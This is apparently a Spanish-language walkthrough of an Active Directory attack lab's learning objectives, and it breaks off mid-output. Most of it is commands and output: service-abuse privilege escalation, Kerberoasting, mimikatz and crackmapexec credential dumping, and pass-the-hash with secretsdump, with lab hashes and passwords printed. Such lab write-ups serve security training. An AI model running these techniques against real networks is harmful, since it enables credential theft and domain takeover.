WriteProperty, ExtendedRight mcorp\Enterprise Admins GenericAll S-1-5-32-554 ListChildren BUILTIN\Administrators ... WriteProperty, ExtendedRight, Delete, GenericRead, WriteDacl, WriteOwner ``` ``` dcorp\RDPUsers GenericAll ``` Respuesta: ``` GenericAll ``` ## Learning Objective - 4 ### Trust Direction for the trust between dollarcorp.moneycorp.local and eurocorp.local ``` PS C:\AD\Tools> Get-ADTrust -Identity eurocorp.local Direction : BiDirectional DisallowTransivity : False DistinguishedName : CN=eurocorp.local,CN=System,DC=dollarcorp,DC=moneycorp,DC=local ForestTransitive : False IntraForest : False IsTreeParent : False IsTreeRoot : False Name : eurocorp.local ObjectClass : trustedDomain ObjectGUID : d4d64a77-63be-4d77-93c2-6524e73d306d SelectiveAuthentication : False SIDFilteringForestAware : False SIDFilteringQuarantined : True Source : DC=dollarcorp,DC=moneycorp,DC=local Target : eurocorp.local TGTDelegation : False TrustAttributes : 4 TrustedPolicy : TrustingPolicy : TrustType : Uplevel UplevelOnly : False UsesAESKeys : False UsesRC4Encryption : False ``` Respuesta: ``` BiDirectional ``` # Learning Objective - 5 ## 5. Service abused on the student VM for local privilege escalation ``` PS C:\AD\Tools> Import-Module .\PowerUp.ps1 PS C:\AD\Tools> Get-ServiceUnquoted -Verbose VERBOSE: Add-ServiceDacl IndividualService : AbyssWebServer ServiceName : AbyssWebServer Path : C:\WebServer\Abyss Web Server\abyssws.exe -service ModifiablePath : @{ModifiablePath=C:\WebServer; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory} StartName : LocalSystem AbuseFunction : Write-ServiceBinary -Name 'AbyssWebServer' -Path CanRestart : True VERBOSE: Add-ServiceDacl IndividualService : AbyssWebServer ServiceName : AbyssWebServer Path : C:\WebServer\Abyss Web Server\abyssws.exe -service ModifiablePath : @{ModifiablePath=C:\WebServer; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile} StartName : LocalSystem AbuseFunction : Write-ServiceBinary -Name 'AbyssWebServer' -Path CanRestart : True PS C:\AD\Tools> Get-ModifiableServiceFile -Verbose VERBOSE: Add-ServiceDacl IndividualService : AbyssWebServer ServiceName : AbyssWebServer Path : C:\WebServer\Abyss Web Server\abyssws.exe -service ModifiableFile : C:\WebServer\Abyss Web Server ModifiableFilePermissions : {WriteOwner, Delete, WriteAttributes, Synchronize...} ModifiableFileIdentityReference : Everyone StartName : LocalSystem AbuseFunction : Install-ServiceBinary -Name 'AbyssWebServer' CanRestart : True PS C:\AD\Tools> Get-ModifiableService -Verbose VERBOSE: Add-ServiceDacl IndividualService : AbyssWebServer VERBOSE: Current user has 'ChangeConfig' for AbyssWebServer VERBOSE: Add-ServiceDacl IndividualService : AbyssWebServer ServiceName : AbyssWebServer Path : C:\WebServer\Abyss Web Server\abyssws.exe -service StartName : LocalSystem AbuseFunction : Invoke-ServiceAbuse -Name 'AbyssWebServer' CanRestart : True ``` Respuesta: ``` AbyssWebServer ``` Explotacion ``` [*] Checking service permissions... ServiceName : SNMPTRAP Path : C:\Windows\System32\snmptrap.exe StartName : LocalSystem AbuseFunction : Invoke-ServiceAbuse -Name 'SNMPTRAP' CanRestart : True ``` ``` PS C:\AD\Tools> Invoke-ServiceAbuse -Name 'SNMPTRAP' WARNING: Waiting for service 'SNMP Trap (SNMPTRAP)' to stop... ServiceAbused Command ------------- ------- SNMPTRAP net user john Password123! /add && net localgroup Administrators john /add PS C:\AD\Tools> net users User accounts for \\DCORP-STD723 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest john WDAGUtilityAccount The command completed successfully. ``` Iniciamos una cmd como administrador.
Y luego agregamos nuestro usuario como administrador local. ``` C:\Windows\system32>net localgroup Administrators dcorp\student723 /add The command completed successfully. C:\Windows\system32>net localgroup Administrators Alias name Administrators Comment Administrators have complete and unrestricted access to the computer/domain Members ------------------------------------------------------------------------------- Administrator dcorp\Domain Admins dcorp\student723 john The command completed successfully. ``` ## Script utilizado para buscar privilegios de administrador utilizando PowerShell Remoting Primer intento ``` PS C:\AD\Tools> Find-LocalAdminAccess -Verbose VERBOSE: [Find-LocalAdminAccess] Querying computers in the domain VERBOSE: [Get-DomainSearcher] search base: LDAP://DCORP-DC.DOLLARCORP.MONEYCORP.LOCAL/DC=DOLLARCORP,DC=MONEYCORP,DC=LOCAL VERBOSE: [Invoke-LDAPQuery] filter string: (&(samAccountType=805306369)) VERBOSE: [Get-DomainComputer] Error disposing of the Results object: Method invocation failed because [System.DirectoryServices.SearchResult] does not contain a method named 'dispose'. VERBOSE: [Find-LocalAdminAccess] TargetComputers length: 28 VERBOSE: [Find-LocalAdminAccess] Using threading with threads: 20 VERBOSE: [New-ThreadedFunction] Total number of hosts: 28 VERBOSE: [New-ThreadedFunction] Total number of threads/partitions: 20 VERBOSE: [New-ThreadedFunction] Threads executing VERBOSE: [New-ThreadedFunction] Waiting 100 seconds for final cleanup... VERBOSE: [New-ThreadedFunction] all threads completed ``` Fallido. Segundo intento: ``` PS C:\AD\Tools> Get-NetComputer | select samaccountname samaccountname -------------- DCORP-DC$ DCORP-ADMINSRV$ DCORP-APPSRV$ DCORP-CI$ DCORP-MGMT$ DCORP-MSSQL$ DCORP-SQL1$ DCORP-STDADMIN$ DCORP-STD721$ DCORP-STD722$ DCORP-STD724$ DCORP-STD723$ DCORP-STD726$ DCORP-STD729$ DCORP-STD725$ DCORP-STD728$ DCORP-STD727$ DCORP-STD731$ DCORP-STD732$ DCORP-STD730$ DCORP-STD733$ DCORP-STD735$ DCORP-STD734$ DCORP-STD736$ DCORP-STD737$ DCORP-STD739$ DCORP-STD740$ DCORP-STD738$ ``` ``` PS C:\AD\Tools> .\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt ``` Fallido. Tercer intento: ``` PS C:\AD\Tools> . .\Find-PSRemotingLocalAdminAccess.ps1 PS C:\AD\Tools> Find-PSRemotingLocalAdminAccess dcorp-std723 dcorp-adminsrv PS C:\AD\Tools> nslookup dcorp-adminsrv Server: UnKnown Address: 172.16.2.1 Name: dcorp-adminsrv.dollarcorp.moneycorp.local Address: 172.16.4.101 ``` {% code overflow="wrap" %} ``` PS C:\AD\Tools> Enter-PSSession -ComputerName dcorp-adminsrv -Credential dcorp\student723 [dcorp-adminsrv]: PS C:\Users\student723\Documents> whoami dcorp\student723 [dcorp-adminsrv]: PS C:\Users\student723\Documents> ls [dcorp-adminsrv]: PS C:\Users\student723\Documents> cd .. [dcorp-adminsrv]: PS C:\Users\student723> cd / [dcorp-adminsrv]: PS C:\> ls Directory: C:\ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 5/8/2021 1:15 AM PerfLogs d-r--- 11/11/2022 12:55 AM Program Files d----- 5/8/2021 2:34 AM Program Files (x86) d----- 12/3/2023 6:36 AM Transcripts d-r--- 2/20/2024 4:42 PM Users d----- 1/10/2024 1:05 AM Windows ``` {% endcode %} ## Jenkins user used to access Jenkins web console
``` manager:manager ```
``` builduser:builduser ```
Link:
Luego obtenemos el resultado:
Respuesta: ``` builduser ``` ## Domain user used for running Jenkins service on dcorp-ci
Respuesta: ``` dcorp\ciadmin ``` Plus
``` crackmapexec smb 172.16.3.11 -u student723 -p hT3qDFRHGzVpJtym --lsa SMB 172.16.3.11 445 DCORP-CI [*] Windows 10.0 Build 20348 x64 (name:DCORP-CI) (domain:dollarcorp.moneycorp.local) (signing:False) (SMBv1:False) SMB 172.16.3.11 445 DCORP-CI [+] dollarcorp.moneycorp.local\student723:hT3qDFRHGzVpJtym (Pwn3d!) SMB 172.16.3.11 445 DCORP-CI [+] Dumping LSA secrets SMB 172.16.3.11 445 DCORP-CI DOLLARCORP.MONEYCORP.LOCAL/ciadmin:$DCC2$10240#ciadmin#3999881514643dbc5cd4efcdce983215 SMB 172.16.3.11 445 DCORP-CI DOLLARCORP.MONEYCORP.LOCAL/student723:$DCC2$10240#student723#eb5f214b28ad3157316b015e0ceb0dde SMB 172.16.3.11 445 DCORP-CI dcorp\DCORP-CI$:aes256-cts-hmac-sha1-96:8ec0804e2ed229f58336a750f8627490d3cdcb523de3031acfe4db47fb035073 SMB 172.16.3.11 445 DCORP-CI dcorp\DCORP-CI$:aes128-cts-hmac-sha1-96:00527bdd009fedf4f9e116f7270fd8be SMB 172.16.3.11 445 DCORP-CI dcorp\DCORP-CI$:des-cbc-md5:d08a1a1fabdfc789 SMB 172.16.3.11 445 DCORP-CI dcorp\DCORP-CI$:plain_password_hex:360056003d002b004c002600470051004e0055003b00220061007500280056004f00390025006a0071003c005f005e003d004600600033004a0071004d0043002200500021005100300068006f005b00490071005b002800430075006d005d007200530025006a004b004b00280023002d005d0064002d006800720049003c006e0042003600760056006f00220044004c00670045007700450059003a002a006300600051003e00600033003e005200430075006e002f0033005e0024007200630034004e002800650045006b0022002400570045007400770071005a0068005b00380026002f004b0048005c007400 SMB 172.16.3.11 445 DCORP-CI dcorp\DCORP-CI$:aad3b435b51404eeaad3b435b51404ee:f76f48c176dc09cfd5765843c32809f3::: SMB 172.16.3.11 445 DCORP-CI dpapi_machinekey:0x4796c1a459d09e880ee84dc5958f1cdca366c808 dpapi_userkey:0xeba6b8fb6245f03382bff91e8fb6fd323080b80c SMB 172.16.3.11 445 DCORP-CI NL$KM:09c87bc296416ecbb2f61bdc295c39767ea62297dcd3be6bc3714871616bb2b3d0d6e048f08b7d8b8b149505b421fe93285147f12624b5f4e420b6ace5903302 SMB 172.16.3.11 445 DCORP-CI dcorp\ciadmin:*ContinuousIntrusion123 SMB 172.16.3.11 445 DCORP-CI [+] Dumped 10 LSA secrets to /home/dsds/.cme/logs/DCORP-CI_172.16.3.11_2024-02-20_212833.secrets and /home/dsds/.cme/logs/DCORP-CI_172.16.3.11_2024-02-20_212833.cached ``` ``` crackmapexec smb 172.16.3.11 -u student723 -p hT3qDFRHGzVpJtym --sam SMB 172.16.3.11 445 DCORP-CI [*] Windows 10.0 Build 20348 x64 (name:DCORP-CI) (domain:dollarcorp.moneycorp.local) (signing:False) (SMBv1:False) SMB 172.16.3.11 445 DCORP-CI [+] dollarcorp.moneycorp.local\student723:hT3qDFRHGzVpJtym (Pwn3d!) SMB 172.16.3.11 445 DCORP-CI [+] Dumping SAM hashes SMB 172.16.3.11 445 DCORP-CI Administrator:500:aad3b435b51404eeaad3b435b51404ee:deaa870c264c682aa1fbfc31ebe678a2::: SMB 172.16.3.11 445 DCORP-CI Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SMB 172.16.3.11 445 DCORP-CI DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SMB 172.16.3.11 445 DCORP-CI WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SMB 172.16.3.11 445 DCORP-CI [+] Added 4 SAM hashes to the database ``` # Learning Objective - 6 ## Collectionmethod in BloodHound that covers all the collection methods ``` all ``` # Learning Objective - 7 ## Process using svcadmin as service account
``` PS C:\AD\Tools> .\Rubeus.exe kerberoast /outfile:hashes.kerberoast ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.1 [*] Action: Kerberoasting [*] NOTICE: AES hashes will be returned for AES-enabled accounts. [*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts. [*] Target Domain : dollarcorp.moneycorp.local [*] Searching path 'LDAP://dcorp-dc.dollarcorp.moneycorp.local/DC=dollarcorp,DC=moneycorp,DC=local' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' [*] Total kerberoastable users : 2 [*] SamAccountName : websvc [*] DistinguishedName : CN=web svc,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local [*] ServicePrincipalName : SNMP/ufc-adminsrv.dollarcorp.moneycorp.LOCAL [*] PwdLastSet : 11/14/2022 4:42:13 AM [*] Supported ETypes : RC4_HMAC_DEFAULT [*] Hash written to C:\AD\Tools\hashes.kerberoast [*] SamAccountName : svcadmin [*] DistinguishedName : CN=svc admin,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local [*] ServicePrincipalName : MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local:1433 [*] PwdLastSet : 11/14/2022 9:06:37 AM [*] Supported ETypes : RC4_HMAC_DEFAULT [*] Hash written to C:\AD\Tools\hashes.kerberoast [*] Roasted hashes written to : C:\AD\Tools\hashes.kerberoast ``` ``` Session..........: hashcat Status...........: Exhausted Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP) Hash.Target......: hashes.kerberoast Time.Started.....: Thu Feb 22 04:26:58 2024, (1 min, 6 secs) Time.Estimated...: Thu Feb 22 04:28:04 2024, (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (rockyou.txt) Guess.Mod........: Rules (clem9669_small.rule.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 164.3 MH/s (4.97ms) @ Accel:8 Loops:128 Thr:32 Vec:1 Recovered........: 0/2 (0.00%) Digests (total), 0/2 (0.00%) Digests (new), 0/2 (0.00%) Salts Progress.........: 11045180300/11045180300 (100.00%) Rejected.........: 0/11045180300 (0.00%) Restore.Point....: 14344390/14344390 (100.00%) Restore.Sub.#1...: Salt:1 Amplifier:384-385 Iteration:0-128 Candidate.Engine.: Device Generator Candidates.#1....: !!sexyangel!! -> retr02301 Hardware.Mon.#1..: Temp: 62c Fan: 32% Util: 40% Core:2025MHz Mem:10251MHz Bus:16 Started: Thu Feb 22 04:26:57 2024 Stopped: Thu Feb 22 04:28:05 2024 ``` :c Pero...
Entonces, como tenemos la credenciales intentamos: ``` crackmapexec smb 172.16.4.44 -u ciadmin -p *ContinuousIntrusion123 -x whoami SMB 172.16.4.44 445 DCORP-MGMT [*] Windows 10.0 Build 20348 x64 (name:DCORP-MGMT) (domain:dollarcorp.moneycorp.local) (signing:False) (SMBv1:False) SMB 172.16.4.44 445 DCORP-MGMT [+] dollarcorp.moneycorp.local\ciadmin:*ContinuousIntrusion123 (Pwn3d!) SMB 172.16.4.44 445 DCORP-MGMT [+] Executed command SMB 172.16.4.44 445 DCORP-MGMT dcorp\ciadmin ```
Respuesta: ``` sqlservr.exe ``` ## NTLM hash of svcadmin account 

[dcorp-mgmt]: PS C:\> .\SafetyKatz.exe "sekurlsa::logonPasswords full" "exit"

  .#####.   mimikatz 2.2.0 (x64) #19041 Dec 23 2022 16:49:51
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # sekurlsa::logonPasswords full

Authentication Id : 0 ; 132376 (00000000:00020518)
Session           : Service from 0
User Name         : svcadmin
Domain            : dcorp
Logon Server      : DCORP-DC
Logon Time        : 2/19/2024 11:31:39 PM
SID               : S-1-5-21-719815819-3726368948-3917688648-1118
        msv :
         [00000003] Primary
         * Username : svcadmin
         * Domain   : dcorp
         * NTLM     : b38ff50264b74508085d82c69794a4d8
         * SHA1     : a4ad2cd4082079861214297e1cae954c906501b9
         * DPAPI    : f26ae0cc48396dccd8caa24cd33127e7
        tspkg :
        wdigest :
         * Username : svcadmin
         * Domain   : dcorp
         * Password : (null)
        kerberos :
         * Username : svcadmin
         * Domain   : DOLLARCORP.MONEYCORP.LOCAL
         * Password : *ThisisBlasphemyThisisMadness!!
        ssp :
        credman :
Respuesta: ``` b38ff50264b74508085d82c69794a4d8 ``` ## NTLM hash of srvadmin extracted from dcorp-adminsrv ``` impacket-secretsdump -hashes ':b38ff50264b74508085d82c69794a4d8' 'svcadmin@172.16.4.101' Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation [*] Service RemoteRegistry is in stopped state [*] Starting service RemoteRegistry [*] Target system bootKey: 0x0aa524e1204e0a68be320cc136ed76b9 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:2c0bba089d2d62e4d8911fc2fcc0c2e2::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Dumping cached domain logon information (domain/username:hash) DOLLARCORP.MONEYCORP.LOCAL/websvc:$DCC2$10240#websvc#5100e73bf7f60de365fe1e39d21070c9 DOLLARCORP.MONEYCORP.LOCAL/appadmin:$DCC2$10240#appadmin#8bb559da7ec65410afbd8c561b37f5b5 DOLLARCORP.MONEYCORP.LOCAL/srvadmin:$DCC2$10240#srvadmin#904d497b20b7f6aa8667a17d6405289d [*] Dumping LSA Secrets [*] $MACHINE.ACC dcorp\DCORP-ADMINSRV$:aes256-cts-hmac-sha1-96:e9513a0ac270264bb12fb3b3ff37d7244877d269a97c7b3ebc3f6f78c382eb51 dcorp\DCORP-ADMINSRV$:aes128-cts-hmac-sha1-96:83bfc18bd7f63a5921bf0ce2eb87755f dcorp\DCORP-ADMINSRV$:des-cbc-md5:384552e53d8acdea dcorp\DCORP-ADMINSRV$:plain_password_hex:51003a00680046005400270021004600550058005000360045005f003200290043004b002000640078006d00320076006c002a0027004e003e0061003b007a002d004e0049004d006f006700650069004200740048004d0074006a006700770040002c004c0078003a00590044002e003d002200350047005b0065002000200059002b0077004e0040005e00340034003e00490054004000730064005e0044007800510034004800570052005900360025003200300038003f006c005400450062005500600075002e0048003000640025007a005900490057002f006400400051006100540037005a00740064002700 dcorp\DCORP-ADMINSRV$:aad3b435b51404eeaad3b435b51404ee:b5f451985fd34d58d5120816d31b5565::: [*] DPAPI_SYSTEM dpapi_machinekey:0xb769847ee855152df7a4594c40a86f4e4212d031 dpapi_userkey:0x15ed629ec20c5b5e266129832d792b0bc84b1010 [*] NL$KM 0000 09 C8 7B C2 96 41 6E CB B2 F6 1B DC 29 5C 39 76 ..{..An.....)\9v 0010 7E A6 22 97 DC D3 BE 6B C3 71 48 71 61 6B B2 B3 ~."....k.qHqak.. 0020 D0 D6 E0 48 F0 8B 7D 8B 8B 14 95 05 B4 21 FE 93 ...H..}......!.. 0030 28 51 47 F1 26 24 B5 F4 E4 20 B6 AC E5 90 33 02 (QG.&$... ....3. NL$KM:09c87bc296416ecbb2f61bdc295c39767ea62297dcd3be6bc3714871616bb2b3d0d6e048f08b7d8b8b149505b421fe93285147f12624b5f4e420b6ace5903302 [*] _SC_SNMPTRAP dcorp\websvc:AServicewhichIsNotM3@nttoBe [*] _SC_wmiApSrv dcorp\appadmin:*ActuallyTheWebServer1 [*] Cleaning up... [*] Stopping service RemoteRegistry ``` Verificando el LanguageMode {% code overflow="wrap" %} ``` [dcorp-adminsrv]: PS C:\Program Files> echo '$ExecutionContext.SessionState.LanguageMode' > test.ps1 [dcorp-adminsrv]: PS C:\Program Files> $ExecutionContext.SessionState.LanguageMode ConstrainedLanguage [dcorp-adminsrv]: PS C:\Program Files> .\test.ps1 FullLanguage ``` {% endcode %} Agregamos una linea dentro del script Invoke-Mimikatz.ps1. ``` Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "Sekurlsa::LogonPasswords"' ``` Luego ejecutamos el Mimikatz y respondemos las flags. {% code overflow="wrap" %} ``` PS C:\Program Files> .\Invoke-Mimikatz.ps1 .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # privilege::debug Privilege '20' OK mimikatz(powershell) # token::elevate Token Id : 0 User name : SID name : NT AUTHORITY\SYSTEM 616 {0;000003e7} 1 D 16097 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary -> Impersonated ! * Process Token : {0;00e70446} 0 D 15141446 dcorp\svcadmin S-1-5-21-719815819-3726368948-3917688648-1118 (11g,24p) Primary * Thread Token : {0;000003e7} 1 D 18044422 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation) mimikatz(powershell) # Sekurlsa::LogonPasswords Authentication Id : 0 ; 752154 (00000000:000b7a1a) Session : RemoteInteractive from 2 User Name : srvadmin Domain : dcorp Logon Server : DCORP-DC Logon Time : 2/19/2024 11:45:15 PM SID : S-1-5-21-719815819-3726368948-3917688648-1115 msv : [00000003] Primary * Username : srvadmin * Domain : dcorp * NTLM : a98e18228819e8eec3dfa33cb68b0728 * SHA1 : f613d1bede9a620ba16ae786e242d3027809c82a * DPAPI : a593cded7a622d70818fb3315264a140 tspkg : wdigest : * Username : srvadmin * Domain : dcorp * Password : (null) kerberos : * Username : srvadmin * Domain : DOLLARCORP.MONEYCORP.LOCAL * Password : (null) ssp : credman : Authentication Id : 0 ; 144880 (00000000:000235f0) Session : Service from 0 User Name : websvc Domain : dcorp Logon Server : DCORP-DC Logon Time : 2/19/2024 11:31:06 PM SID : S-1-5-21-719815819-3726368948-3917688648-1114 msv : [00000003] Primary * Username : websvc * Domain : dcorp * NTLM : cc098f204c5887eaa8253e7c2749156f * SHA1 : 36f2455c767ac9945fdc7cd276479a6a011e154b * DPAPI : afa3166d71b438639f1c77118153d316 tspkg : wdigest : * Username : websvc * Domain : dcorp * Password : (null) kerberos : * Username : websvc * Domain : DOLLARCORP.MONEYCORP.LOCAL * Password : AServicewhichIsNotM3@nttoBe ssp : credman : Authentication Id : 0 ; 996 (00000000:000003e4) Session : Service from 0 User Name : DCORP-ADMINSRV$ Domain : dcorp Logon Server : (null) Logon Time : 2/19/2024 11:30:50 PM SID : S-1-5-20 msv : [00000003] Primary * Username : DCORP-ADMINSRV$ * Domain : dcorp * NTLM : b5f451985fd34d58d5120816d31b5565 * SHA1 : f83c66f77706d11664e98e159166687298ab1a2c * DPAPI : f83c66f77706d11664e98e1591666872 tspkg : wdigest : * Username : DCORP-ADMINSRV$ * Domain : dcorp * Password : (null) kerberos : * Username : dcorp-adminsrv$ * Domain : DOLLARCORP.MONEYCORP.LOCAL * Password : (null) ssp : credman : Authentication Id : 0 ; 539692 (00000000:00083c2c) Session : Interactive from 2 User Name : UMFD-2 Domain : Font Driver Host Logon Server : (null) Logon Time : 2/19/2024 11:41:47 PM SID : S-1-5-96-0-2 msv : [00000003] Primary * Username : DCORP-ADMINSRV$ * Domain : dcorp * NTLM : b5f451985fd34d58d5120816d31b5565 * SHA1 : f83c66f77706d11664e98e159166687298ab1a2c * DPAPI : f83c66f77706d11664e98e1591666872 tspkg : wdigest : * Username : DCORP-ADMINSRV$ * Domain : dcorp * Password : (null) kerberos : * Username : DCORP-ADMINSRV$ * Domain : dollarcorp.moneycorp.local * Password : Q:hFT'!FUXP6E_2)CK dxm2vl*'N>a;z-NIMogeiBtHMtjgw@,Lx:YD.="5G[e Y+wN@^44>IT@sd^DxQ4HWRY6%208?lTEbU`u.H0d%zYIW/d@QaT7Ztd' ssp : credman : Authentication Id : 0 ; 144881 (00000000:000235f1) Session : Service from 0 User Name : appadmin Domain : dcorp Logon Server : DCORP-DC Logon Time : 2/19/2024 11:31:06 PM SID : S-1-5-21-719815819-3726368948-3917688648-1117 msv : [00000003] Primary * Username : appadmin * Domain : dcorp * NTLM : d549831a955fee51a43c83efb3928fa7 * SHA1 : 07de541a289d45a577f68c512c304dfcbf9e4816 * DPAPI : a5d49d98574a7574ab70fa77797c367d tspkg : wdigest : * Username : appadmin * Domain : dcorp * Password : (null) kerberos : * Username : appadmin * Domain : DOLLARCORP.MONEYCORP.LOCAL * Password : *ActuallyTheWebServer1 ssp : credman : Authentication Id : 0 ; 997 (00000000:000003e5) Session : Service from 0 User Name : LOCAL SERVICE Domain : NT AUTHORITY Logon Server : (null) Logon Time : 2/19/2024 11:30:50 PM SID : S-1-5-19 msv : tspkg : wdigest : * Username : (null) * Domain : (null) * Password : (null) kerberos : * Username : (null) * Domain : (null) * Password : (null) ssp : credman : Authentication Id : 0 ; 21178 (00000000:000052ba) Session : Interactive from 0 User Name : UMFD-0 Domain : Font Driver Host Logon Server : (null) Logon Time : 2/19/2024 11:30:50 PM SID : S-1-5-96-0-0 msv : [00000003] Primary * Username : DCORP-ADMINSRV$ * Domain : dcorp * NTLM : b5f451985fd34d58d5120816d31b5565 * SHA1 : f83c66f77706d11664e98e159166687298ab1a2c * DPAPI : f83c66f77706d11664e98e1591666872 tspkg : wdigest : * Username : DCORP-ADMINSRV$ * Domain : dcorp * Password : (null) kerberos : * Username : DCORP-ADMINSRV$ * Domain : dollarcorp.moneycorp.local * Password : Q:hFT'!FUXP6E_2)CK dxm2vl*'N>a;z-NIMogeiBtHMtjgw@,Lx:YD.="5G[e Y+wN@^44>IT@sd^DxQ4HWRY6%208?lTEbU`u.H0d%zYIW/d@QaT7Ztd' ssp : credman : Authentication Id : 0 ; 21140 (00000000:00005294) Session : Interactive from 1 User Name : UMFD-1 Domain : Font Driver Host Logon Server : (null) Logon Time : 2/19/2024 11:30:50 PM SID : S-1-5-96-0-1 msv : [00000003] Primary * Username : DCORP-ADMINSRV$ * Domain : dcorp * NTLM : b5f451985fd34d58d5120816d31b5565 * SHA1 : f83c66f77706d11664e98e159166687298ab1a2c * DPAPI : f83c66f77706d11664e98e1591666872 tspkg : wdigest : * Username : DCORP-ADMINSRV$ * Domain : dcorp * Password : (null) kerberos : * Username : DCORP-ADMINSRV$ * Domain : dollarcorp.moneycorp.local * Password : Q:hFT'!FUXP6E_2)CK dxm2vl*'N>a;z-NIMogeiBtHMtjgw@,Lx:YD.="5G[e Y+wN@^44>IT@sd^DxQ4HWRY6%208?lTEbU`u.H0d%zYIW/d@QaT7Ztd' ssp : credman : Authentication Id : 0 ; 20080 (00000000:00004e70) Session : UndefinedLogonType from 0 User Name : (null) Domain : (null) Logon Server : (null) Logon Time : 2/19/2024 11:30:49 PM SID : msv : [00000003] Primary * Username : DCORP-ADMINSRV$ * Domain : dcorp * NTLM : b5f451985fd34d58d5120816d31b5565 * SHA1 : f83c66f77706d11664e98e159166687298ab1a2c * DPAPI : f83c66f77706d11664e98e1591666872 tspkg : wdigest : kerberos : ssp : credman : Authentication Id : 0 ; 999 (00000000:000003e7) Session : UndefinedLogonType from 0 User Name : DCORP-ADMINSRV$ Domain : dcorp Logon Server : (null) Logon Time : 2/19/2024 11:30:49 PM SID : S-1-5-18 msv : tspkg : wdigest : * Username : DCORP-ADMINSRV$ * Domain : dcorp * Password : (null) kerberos : * Username : dcorp-adminsrv$ * Domain : DOLLARCORP.MONEYCORP.LOCAL * Password : (null) ssp : credman :ls ``` {% endcode %} ``` crackmapexec smb 172.16.4.44 -u ciadmin -p *ContinuousIntrusion123 --lsa SMB 172.16.4.44 445 DCORP-MGMT [*] Windows 10.0 Build 20348 x64 (name:DCORP-MGMT) (domain:dollarcorp.moneycorp.local) (signing:False) (SMBv1:False) SMB 172.16.4.44 445 DCORP-MGMT [+] dollarcorp.moneycorp.local\ciadmin:*ContinuousIntrusion123 (Pwn3d!) SMB 172.16.4.44 445 DCORP-MGMT [+] Dumping LSA secrets SMB 172.16.4.44 445 DCORP-MGMT DOLLARCORP.MONEYCORP.LOCAL/svcadmin:$DCC2$10240#svcadmin#80dcb7982483a2ee1aaa9ef2da703179 SMB 172.16.4.44 445 DCORP-MGMT DOLLARCORP.MONEYCORP.LOCAL/mgmtadmin:$DCC2$10240#mgmtadmin#b51b86694af5c690d2ad019fbfc00707 SMB 172.16.4.44 445 DCORP-MGMT dcorp\DCORP-MGMT$:aes256-cts-hmac-sha1-96:b607d794f87ca117a14353da0dbb6f27bbe9fed4f1ce1b810b43fbb9a2eab192 SMB 172.16.4.44 445 DCORP-MGMT dcorp\DCORP-MGMT$:aes128-cts-hmac-sha1-96:0049f234ae46eba0bfb2ced5b8c8d2b4 SMB 172.16.4.44 445 DCORP-MGMT dcorp\DCORP-MGMT$:des-cbc-md5:a79234f220c4549e SMB 172.16.4.44 445 DCORP-MGMT dcorp\DCORP-MGMT$:plain_password_hex:34003f0050006800430068004b005000280060003f00790057006000450038003d0056004d00320051004900310033004f00210069002a00330051003f005700560042002200580029003d003e0049006c0033003d00410063007a004a0030005e005400210058005d00720026003a002600790047003400310060002a002f0024005e0034002b00450065005a00300037003f007a00460032005a00330060003a005b004a0064002a0046002f007a005f00500060007000360042003900580048005e00670024002a006d005800490051004d00580059002800530063003f0033005c00410036004900430072005800 SMB 172.16.4.44 445 DCORP-MGMT dcorp\DCORP-MGMT$:aad3b435b51404eeaad3b435b51404ee:0878da540f45b31b974f73312c18e754::: SMB 172.16.4.44 445 DCORP-MGMT dpapi_machinekey:0xb3084493f6af9cf8b2964ee53accccd428737b2c dpapi_userkey:0xe46d070e975b2473e749e7927a64a61fe1575b20 SMB 172.16.4.44 445 DCORP-MGMT NL$KM:09c87bc296416ecbb2f61bdc295c39767ea62297dcd3be6bc3714871616bb2b3d0d6e048f08b7d8b8b149505b421fe93285147f12624b5f4e420b6ace5903302 SMB 172.16.4.44 445 DCORP-MGMT dcorp\svcadmin:*ThisisBlasphemyThisisMadness!! SMB 172.16.4.44 